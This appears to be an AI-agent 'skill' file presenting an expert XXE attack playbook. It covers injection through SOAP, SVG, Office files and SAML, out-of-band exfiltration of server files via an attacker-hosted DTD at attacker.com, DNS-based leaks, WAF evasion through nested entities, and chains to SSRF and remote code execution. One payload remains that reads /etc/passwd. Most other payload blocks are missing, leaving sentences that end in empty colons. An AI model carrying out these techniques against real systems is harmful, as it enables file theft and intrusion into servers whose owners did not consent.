XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.

SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook AI LOAD INSTRUCTION : Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE to SSRF chain. Base models often miss OOB and non XML context XXE. For real world CVE chains, Office docx XXE step by step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md). 0. RELATED ROUTING Also load: [upload insecure files](../upload insecure files/SKILL.md) when XXE is reachable through SVG, OOXML, import, or preview pipelines Extended Scenarios Also load [SCENARIOS.md](./SCENARIOS.md) when you need: Apache Solr XXE + RCE chain (CVE 2017 12629) — XXE to read config, then VelocityResponseWriter for RCE Office docx XXE step by step — unzip → inject DOCTYPE into word/document.xml or [Content Types].xml → repackage → upload DOCTYPE based blind SSRF — PUBLIC external DTD reference triggers HTTP callback without entity reflection PHP expect:// protocol via XXE — direct command execution when expect extension is installed Blind XXE via error messages — force file path error that leaks content in exception text XXE in SOAP web services — inject entities into SOAP Envelope/Body elements 1. CLASSIC XXE PAYLOAD If /etc/passwd reflects in response → confirmed file read. 2. ATTACK SURFACE DISCOVERY Direct XML Inputs SOAP endpoints ( text/xml , application/soap+xml ) REST APIs accepting application/xml File upload: .xlsx , .docx , .pptx (Office Open XML) SVG uploads (SVG is XML) RSS/Atom feed parsers Web services with XML config import Non Obvious XML Processing Change Content Type header on any JSON POST to: Then rewrite body as XML — many backends use dual format parsers or auto detect. PDF Generators Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML. 3. OOB (OUT OF BAND) XXE — CRITICAL Use when direct entity reflection fails (server parses but doesn't echo entity content): Step 1: Blind detection DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned). Step 2: OOB file exfiltration via attacker hosted DTD Attacker's server hosts a malicious DTD at http://attacker.com/evil.dtd : Payload sent to target : File contents appear in attacker's HTTP server request log. Step 3: Error based OOB (alternative when HTTP blocked) Use intentional error to leak data in error message: 4. XXE FILE READ TARGETS Linux : Windows : 5. SVG XXE (file upload context) When SVG uploads are accepted and served/processed: Upload as .svg → GET /uploads/file.svg → file contents in response. 6. OFFICE FILE XXE (docx/xlsx/pptx) Office files are ZIP archives containing XML. Inject into [Content Types].xml or word/document.xml : 7. SOAP ENDPOINT XXE SOAP requests parse XML by definition. Inject external entity into SOAP envelope: 8. XXE → SSRF CHAIN XXE external entity can point to internal HTTP endpoints (identical to SSRF): This combines XXE file read + SSRF into a single payload. 9. XInclude ATTACK When server side processes XInclude (import XML from another source), but you can't control the DOCTYPE: Works in: Apache Cocoon, Xerces J, libxml2 with XInclude support enabled. 10. PROTOCOL HANDLERS IN XXE 11. BYPASSING DEFENSES Parser blocks DOCTYPE Try XInclude (no DOCTYPE needed, see §9). Only allows specific XML schemas If schema validation occurs: inject comments or CDATA after schema validation but before entity processing. Response encoding issues (binary in response) Use PHP filter for base64: Network restrictions on OOB Use DNS only OOB via SYSTEM "file://HASH.attacker.com" — no HTTP required, DNS lookup leaks data. 12. QUICK DETECTION CHECKLIST 13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION) When external entities are blocked but local DTD files exist on the server: Technique Common Local DTD Paths Linux Windows Inside JAR Files (Java Applications) Why This Works External connections blocked (firewall/WAF/egress filter) But file:// to LOCAL files is usually allowed Local DTD is trusted → entity overrides inject attacker controlled definitions Error messages or blind extraction via file:// still works 14. ADDITIONAL OOB EXFILTRATION CHANNELS FTP based exfiltration (line by line) FTP protocol sends data line by line, making it useful for multi line file exfiltration when HTTP based OOB truncates at newlines: Run a rogue FTP server (e.g., xxeserv or custom Python) on port 2121 — each line of the file arrives as a separate RETR or CWD command. HTTP parameter exfiltration Base64 encoding avoids newline/special character issues in HTTP URL. Decode the d= parameter on attacker server. 15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING Parameter entity within parameter entity Used to bypass parsers that block direct entity references in entity values: The parser expands %a; → %b; → fetches external DTD. Some WAFs only inspect the first level of entity definitions. Triple nested for filter evasion Payload sent to target only references stage1.dtd — the actual file read happens two DTD fetches deep, evading shallow WAF inspection. 16. XXE IN NON OBVIOUS FORMATS Format XML Location Injection Point SOAP Envelope Entire body is XML Add DOCTYPE before <soap:Envelope SVG Image SVG is XML <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd" ] in SVG header OOXML (.docx) word/document.xml , [Content Types].xml Inject DOCTYPE + entity into any XML member OOXML (.xlsx) xl/sharedStrings.xml , xl/worksheets/sheet1.xml Entity reference in cell values RSS/Atom feeds Feed body is XML Inject into feed items if user content is included SAML assertions SAML XML tokens DOCTYPE injection in SAMLResponse parameter (base64 decoded XML) XMPP Protocol messages are XML stanzas Entity in message body or JID fields GPX files GPS track data in XML Via file upload endpoints accepting GPX XHTML Strict XHTML is valid XML DOCTYPE injection in XHTML documents SAML XXE Re encode to base64, submit as SAMLResponse parameter. 17. XXE VIA FILE UPLOAD SVG upload Upload as avatar/image → view uploaded SVG → file content rendered as text. XLSX (Excel) upload Alternatively inject into [Content Types].xml (parsed first by most OOXML processors). DOCX upload Processing pipeline attack Even if the uploaded file is not directly rendered, the server side parser (Apache POI, python docx, OpenXML SDK) may process entities during import, triggering OOB exfiltration. 18. ERROR BASED XXE Force the XML parser to generate an error message containing file content: Method 1: Non existent file reference The parser attempts to open file:///nonexistent/<hostname content → error message includes the hostname value. Method 2: XML schema validation error The jar: protocol handler generates verbose error messages that include the expanded entity value. Method 3: Integer overflow / type error Parser tries to open a file path containing the target file content → error message reveals content. 19. XSLT INJECTION CONNECTION TO XXE XSLT processors parse XML and can be chained with XXE: XSLT file read XSLT RCE (processor dependent) XXE → XSLT chain If the target accepts XML input with a stylesheet reference ( <?xml stylesheet? ), inject both an external entity and a malicious XSLT to escalate from file read to RCE.

xxe-xml-external-entity